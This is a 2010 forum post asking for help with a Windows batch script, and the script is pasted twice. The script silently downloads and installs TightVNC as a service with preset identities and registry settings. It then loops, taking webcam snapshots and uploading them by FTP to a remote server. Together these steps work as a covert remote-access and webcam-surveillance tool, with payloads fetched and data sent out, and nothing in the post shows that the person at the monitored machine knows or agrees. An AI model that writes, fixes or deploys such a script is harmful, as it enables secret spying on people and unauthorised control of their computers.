FTP, VNC, HELP
Posted: 07 May 2010 11:33
(((((((Hallo zusammen bin neu hier aber mir gefällt euer Forum sehr da ich hier schon oft hilfe gefunden habe.Nun habe ich ich ein Problem und hoffe ihr könnt mir helfen. Die Batch soll 1) gucken ob VNC leuft wenn nicht es starten, wenn es nicht instaliert ist, instalieren 2) ein programm starten und die jpg die es erstellt ins aktuelle datum umbennen und als nob (nob deswegen weil ich noch einderes program nutze und die dann an einen ftp server senden))))))
Sorry my Engl. ist not good, please help me i have no idee who is the error.
del c:\login.txt
:login.txt
echo OPEN INTERNETSEITE>>c:\login.txt
echo USER user>>c:\login.txt
echo PASSWORT>>c:\login.txt
echo lcd cd..>>c:\login.txt
echo lcd cd..>>c:\login.txt
echo lcd cd..>>c:\login.txt
echo lcd cd..>>c:\login.txt
echo lcd cd..>>c:\login.txt
echo lcd service>>c:\login.txt
echo prompt>>c:\login.txt
echo mput *.nob>>c:\login.txt
echo mput *.no*>>c:\login.txt
echo quit>>c:\login.txt
@echo off
Break on
chcp 1252
set PFAD=%cd%\
set PRO="c:\Service\"
set PROt="c:\Service\tmp\"
if exist "%PRO%identities" copy /y %PRO%identities "C:\Dokumente und Einstellungen\%username%\.vnc\identities"
if exist "%PRO%identities" copy /y %PRO%identities "C:\Users\%user%\.vnc\identities"
if exist "%PRO%VNCHooks.dll" copy /y %PRO%VNCHooks.dll "C:\Programme\TightVNC"
if exist "%PRO%VNCHooks.dll" copy /y %PRO%VNCHooks.dll "C:\Program Files\TightVNC"
:LOOP
cd\
cd c:\Service\
web.exe -s
ren c:\Service\WEBCAMSHOT.jpg WEBCAMSHOT.nob
rename c:\Service\*.jpg *.nob.%date:~4,2%-%date:~7,2%-%date:~10,4%
cd\
cd..
cd..
cd..
cd..
ftp -n -s:c:login.txt
del c:\Service\*.nob
del c:\Service\*.no*
del c:\Service\*.bmp
if exist "c:\Program~1\TightVNC\winvnc.exe" set PR="c:\Program~1\"
if exist "c:\Programme\TightVNC\winvnc.exe" set PR="c:\Programme\"
if exist "c:\Program Files\TightVNC\winvnc.exe" set PR="c:\Program Files\"
if exist "c:\Program Files (x86)\TightVNC\winvnc.exe" set PR="c:\Program Files (x86)\"
if not exist "%PR%TightVNC\winvnc.exe" goto run
call :FncAskKillOrRunApp %PR%TightVNC\winvnc.exe
call :FncSleep 2
goto :LOOP
:FncAskKillOrRunApp
setlocal EnableDelayedExpansion
tasklist | find "%~nx1" > NULL
if %ERRORLEVEL% == 0 (
echo ist AN
pause
) else (
echo ist aus
pause
ping -n 60 localhost > NUL
start "" "%~1"
)
exit /b 0
:FncSleep
set /a _FncSleep_seconds"=(%1 +1)"
ping -n %_FncSleep_seconds% -w 1000 127.0.0.1 >NUL
exit /b 0
::--------------------------------------------------
:run
if exist "%PRO%setup.exe" ( copy /y "%PRO%setup.exe" c: )
if EXIST c:\setup.exe goto inst
IPCONFIG /FLUSHDNS
nslookup INTERNETSEITE
::setup.txt wird erstellt
echo OPEN INTERNETSEITE>>c:\setup.txt
echo USER user>>c:\setup.txt
echo PASSWORT>>c:\setup.txt
echo BIN>>c:\setup.txt
echo LCD c:\>>c:\setup.txt
echo LCD service>>c:\setup.txt
echo LCD tmp>>c:\setup.txt
echo cd Files>>c:\setup.txt
echo GET setup.exe>>c:\setup.txt
echo GET VNCHooks.dll>>c:\setup.txt
echo GET identities>>c:\setup.txt
echo close>>c:\setup.txt
c:
cd\
ftp -n -s:c:setup.txt
del c:\setup.txt
goto inst
::--------------------------------------------------
:inst
if exist c:\setup.exe copy /y c:\setup.exe %PRO%
md c:\service\tmp\
if exist c:\setup.exe copy /y c:\service\tmp\setup.exe %PRO%
if exist "%PRO%identities" copy /y %PRO%identities "C:\Dokumente und Einstellungen\%username%\.vnc\identities"
if exist "%PRO%identities" copy /y %PRO%identities "C:\Users\%user%\.vnc\identities"
if exist "%PRO%VNCHooks.dll" copy /y %PRO%VNCHooks.dll "%PR%TightVNC"
if exist "%PRO%VNCHooks.dll" copy /y %PRO%VNCHooks.dll "%PR%TightVNC"
cd %PRO%
call regedit /s TightVNC.reg
ping -n 500 localhost > NUL
c:
cd\
setup.exe /verysilent /TASKS=installservice
goto loop
::--------------------------------------------------
Sorry my Engl. ist not good, please help me i have no idee who is the error.
del c:\login.txt
:login.txt
echo OPEN INTERNETSEITE>>c:\login.txt
echo USER user>>c:\login.txt
echo PASSWORT>>c:\login.txt
echo lcd cd..>>c:\login.txt
echo lcd cd..>>c:\login.txt
echo lcd cd..>>c:\login.txt
echo lcd cd..>>c:\login.txt
echo lcd cd..>>c:\login.txt
echo lcd service>>c:\login.txt
echo prompt>>c:\login.txt
echo mput *.nob>>c:\login.txt
echo mput *.no*>>c:\login.txt
echo quit>>c:\login.txt
@echo off
Break on
chcp 1252
set PFAD=%cd%\
set PRO="c:\Service\"
set PROt="c:\Service\tmp\"
if exist "%PRO%identities" copy /y %PRO%identities "C:\Dokumente und Einstellungen\%username%\.vnc\identities"
if exist "%PRO%identities" copy /y %PRO%identities "C:\Users\%user%\.vnc\identities"
if exist "%PRO%VNCHooks.dll" copy /y %PRO%VNCHooks.dll "C:\Programme\TightVNC"
if exist "%PRO%VNCHooks.dll" copy /y %PRO%VNCHooks.dll "C:\Program Files\TightVNC"
:LOOP
cd\
cd c:\Service\
web.exe -s
ren c:\Service\WEBCAMSHOT.jpg WEBCAMSHOT.nob
rename c:\Service\*.jpg *.nob.%date:~4,2%-%date:~7,2%-%date:~10,4%
cd\
cd..
cd..
cd..
cd..
ftp -n -s:c:login.txt
del c:\Service\*.nob
del c:\Service\*.no*
del c:\Service\*.bmp
if exist "c:\Program~1\TightVNC\winvnc.exe" set PR="c:\Program~1\"
if exist "c:\Programme\TightVNC\winvnc.exe" set PR="c:\Programme\"
if exist "c:\Program Files\TightVNC\winvnc.exe" set PR="c:\Program Files\"
if exist "c:\Program Files (x86)\TightVNC\winvnc.exe" set PR="c:\Program Files (x86)\"
if not exist "%PR%TightVNC\winvnc.exe" goto run
call :FncAskKillOrRunApp %PR%TightVNC\winvnc.exe
call :FncSleep 2
goto :LOOP
:FncAskKillOrRunApp
setlocal EnableDelayedExpansion
tasklist | find "%~nx1" > NULL
if %ERRORLEVEL% == 0 (
echo ist AN
pause
) else (
echo ist aus
pause
ping -n 60 localhost > NUL
start "" "%~1"
)
exit /b 0
:FncSleep
set /a _FncSleep_seconds"=(%1 +1)"
ping -n %_FncSleep_seconds% -w 1000 127.0.0.1 >NUL
exit /b 0
::--------------------------------------------------
:run
if exist "%PRO%setup.exe" ( copy /y "%PRO%setup.exe" c: )
if EXIST c:\setup.exe goto inst
IPCONFIG /FLUSHDNS
nslookup INTERNETSEITE
::setup.txt wird erstellt
echo OPEN INTERNETSEITE>>c:\setup.txt
echo USER user>>c:\setup.txt
echo PASSWORT>>c:\setup.txt
echo BIN>>c:\setup.txt
echo LCD c:\>>c:\setup.txt
echo LCD service>>c:\setup.txt
echo LCD tmp>>c:\setup.txt
echo cd Files>>c:\setup.txt
echo GET setup.exe>>c:\setup.txt
echo GET VNCHooks.dll>>c:\setup.txt
echo GET identities>>c:\setup.txt
echo close>>c:\setup.txt
c:
cd\
ftp -n -s:c:setup.txt
del c:\setup.txt
goto inst
::--------------------------------------------------
:inst
if exist c:\setup.exe copy /y c:\setup.exe %PRO%
md c:\service\tmp\
if exist c:\setup.exe copy /y c:\service\tmp\setup.exe %PRO%
if exist "%PRO%identities" copy /y %PRO%identities "C:\Dokumente und Einstellungen\%username%\.vnc\identities"
if exist "%PRO%identities" copy /y %PRO%identities "C:\Users\%user%\.vnc\identities"
if exist "%PRO%VNCHooks.dll" copy /y %PRO%VNCHooks.dll "%PR%TightVNC"
if exist "%PRO%VNCHooks.dll" copy /y %PRO%VNCHooks.dll "%PR%TightVNC"
cd %PRO%
call regedit /s TightVNC.reg
ping -n 500 localhost > NUL
c:
cd\
setup.exe /verysilent /TASKS=installservice
goto loop
::--------------------------------------------------